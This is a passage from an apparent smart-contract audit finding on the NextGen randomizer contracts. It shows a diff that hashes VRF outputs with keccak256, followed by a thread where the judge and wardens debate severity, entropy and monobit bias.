// RandomizerRNG bytes32(abi.encodePacked(numbers, requestToToken[id])) // RandomizerVRF bytes32(abi.encodePacked(_randomWords, requestToToken[_requestId]))
Manual Review
Hash the value returned from the VRF with the tokenId
.
function fulfillRandomWords(uint256 id, uint256[] memory numbers) internal override { - gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]], requestToToken[id], bytes32(abi.encodePacked(numbers,requestToToken[id]))); + gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]], requestToToken[id], keccak256(abi.encodePacked(numbers,requestToToken[id]))); }
function fulfillRandomWords(uint256 _requestId, uint256[] memory _randomWords) internal override { - gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[_requestId]], requestToToken[_requestId], bytes32(abi.encodePacked(_randomWords,requestToToken[_requestId]))); + gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[_requestId]], requestToToken[_requestId], keccak256(abi.encodePacked(_randomWords,requestToToken[_requestId]))); emit RequestFulfilled(_requestId, _randomWords); }
Context
#0 - c4-pre-sort
2023-11-17T14:05:08Z
141345 marked the issue as sufficient quality report
#1 - c4-sponsor
2023-11-23T06:10:56Z
a2rocket (sponsor) confirmed
#2 - alex-ppg
2023-12-04T22:02:09Z
The Warden has illustrated that the randomizers in NextGen do not properly utilize their "true" randomness inputs properly.
The Sponsor has confirmed this exhibit and it is indeed correct as only two entries would be utilized in the generation of a hash and the token ID would not be utilized contradictory to what the code seemingly does.
Given that the randomness is insufficiently impacted (1 random word/number will be used instead of all), I consider this to be a medium-severity exhibit.
#3 - c4-judge
2023-12-04T22:02:16Z
alex-ppg changed the severity to 2 (Med Risk)
#4 - c4-judge
2023-12-04T22:02:25Z
alex-ppg marked the issue as satisfactory
#5 - c4-judge
2023-12-04T22:02:30Z
alex-ppg marked the issue as selected for report
#6 - c4-judge
2023-12-04T22:02:41Z
alex-ppg marked the issue as primary issue
#7 - aslanbekaibimov
2023-12-09T08:56:13Z
@alex-ppg
I believe this report contradicts itself:
The RandomizerVRF and RandomizerRNG contracts will not return random hashes, instead, they will only return the generated random number.
This results in non-unique/duplicated tokenHash values and non-randomly generated NFTs.
How can two random numbers not being hashed result in non-randomly generated NFTs?
There's indeed a discrepancy between the spec and implementation, but not fixing the issue will simply result in tokens having a random tokenToHash
anyways, which is sufficient for correct functioning of the protocol.
Thank you!
#8 - d3e4
2023-12-09T10:47:08Z
@alex-ppg Only one random number is requested so nothing is trimmed away. Hashing a random 256-bit value does not make it any more random, it is just an arbitrary bijection. A random number and a hash digest (of an unknown or random number) are equivalent. It is randomness that is sought, not the output of specifically a hash function.
#9 - imsrybr0
2023-12-09T13:46:21Z
Hi @alex-ppg,
I believe this describes the same issue as #852 and its duplicates which were judged as QA.
Can you please check this again?
Thank you
#10 - alex-ppg
2023-12-09T13:54:39Z
Hey @aslanbekaibimov and @d3e4, thanks for your feedback! Let me address both of your points:
Indeed the report contradicts itself, however, it was the sole submission of this issue and as such is the primary one.
A value not being hashed does not impact its randomness, however, it does impact the range the values will be present in. As such, it allows the "expansion" of a randomness range to cover the full uint256
value range. For example, if the randomness values are in a sub-range [X,Y]
, the randomness oracles will produce token IDs solely in that range.
If a hash function is utilized (such as keccak256
), the range will be expanded to [0, type(uint256).max]
which is the desirable outcome. This is further illustrated by the fact that the tokenHash
entry specifies it should be a hash.
Another important trait of hashing is the minimization of monobit bias. A monobit bias occurs when a single bit in the randomness output is more frequently 0
or 1
in relation to the rest of the bits. This is especially prevalent in random sources such as ARRNG which rely on radio waves and other real-world data that may bias their measurements.
A hash will induce the avalanche effect whereby a bit will have a rough chance of being flipped. As such, monobit bias is somewhat eliminated by using hashing functions. While I won't criticize Chainlink, the ARRNG service relies on RANDOM.ORG
which provides publicly accessible data showcasing its monobit bias.
The Chainlink oracle of NextGen is defined to have the numWords
requested as update-able. This is very useful when the perceived entropy of random numbers is small; specifically, a hash of multiple lower-than-maximum (256
in this case) entropy numbers will "compress" the entropy (with some loss of course) into 32 bytes. As an example, hashing two numbers with 16
and 19
bits of entropy each will produce an output that has their entropy combined minus one to account for entropy lost due to compression and collisions.
As the numWords
variable can be updated, we can see a problem in the codebase whereby any value of numWords
greater than one will not increase the entropy of the randomness generator as expected.
Given that the code contains an egregious error that directly impacts its functionality, I will maintain the current medium risk rating. The tokenHash
mapping is expected to contain a hash, and assigning it otherwise is an invariant that is broken. I will consider inviting other judges to contribute to this particular judgment.
#11 - d3e4
2023-12-10T00:47:38Z
A value not being hashed does not impact its randomness, however, it does impact the range the values will be present in. As such, it allows the "expansion" of a randomness range to cover the full
uint256
value range. For example, if the randomness values are in a sub-range[X,Y]
, the randomness oracles will produce token IDs solely in that range.
This is not true as stated. The range of a function cannot be greater than its domain. It should be equidistributed within the uint256
range however, which is perhaps what you mean. So this could be an issue if the artist had the full range in mind when designing his script, but the range is concentrated on the first bytes, for example.
However, ARRNG does provide a 256-bit number. This can be confirmed by checking some of the numbers already provided.. As you say, Chainlink VRF also provides a 256-bit number. The entropy of these is also 256-bit (otherwise you have a $2 million bounty to claim).
Another point you make is that the randomness from ARRNG/random.org might not be uniform. This is not true. All analyses of random.org conclude that it is unbiased. It does not exhibit monobit bias. Also, any PRNG already performs a kind of hashing in itself (to make it uniform within its range), so it is pointless to apply another hash afterwards, since the range is already correct.
In summary, the "unhashed" random numbers are already full range and even already hashed.
#12 - alex-ppg
2023-12-10T14:25:14Z
Hey @d3e4, thanks for contributing. You specify a PRNG
which infers a Pseudo-Random Number Generator which by definition cannot have full entropy. In any case, the values reported by random.org
are not PRNG and neither should Chainlink's VRF submissions be.
For ARRNG, you can observe right here that the entropy of the data fluctuates significantly. Stating that ARRNG has 256 bits of entropy is thus incorrect as it directly relies on random.org
. I will not criticize Chainlink's VRF oracles but would be reluctant to accept their measurements represent 256 bits of entropy as a single validator can influence the randomness output.
Keep in mind that the hashing function will not influence the entropy of the input, it will solely affect the domain in which the input translates to. As such, an input that has a bias for a 0
bit in the first slot of its representation will not have the same bias in its output if passed through a hashing function.
Despite these, I will cite the relevant SC verdict Appendix that serves as a guideline on how to grade "protocol does not work as intended" issues. Specifically:
An egregious mistake that doesnβt directly lead to loss of funds (ERCs / Incorrect View Logic, Missing function)
The vulnerability described by this submission is an egregious mistake that doesn't directly lead to loss of funds but impacts the protocol significantly as the protocol's intentions are to:
Both of the above intentions are broken by the usage of bytes32
rendering my initial verdict to stand. I will proceed to correctly mark #852 and its duplicates under this submission. As such, the primary of this submission will be re-evaluated once PJQA ends.
#13 - d3e4
2023-12-10T14:46:32Z
I think you are misinterpreting the entropy statistics on random.org. It cannot be expected to always be measured to 100% even if it is perfectly random, but let's rephrase the question: Are you saying that the output is biased or not uniform? If that is true it is a different issue, and one with the randomness providers. If it is not biased, how is this distinguishable from a hash of them? At best, hashing them makes them uniformly distributed, so if they already are uniformly distributed (which they must be!) then why hash them (again)?
#14 - c4-judge
2023-12-12T15:41:05Z
alex-ppg marked issue #1627 as primary and marked this issue as a duplicate of 1627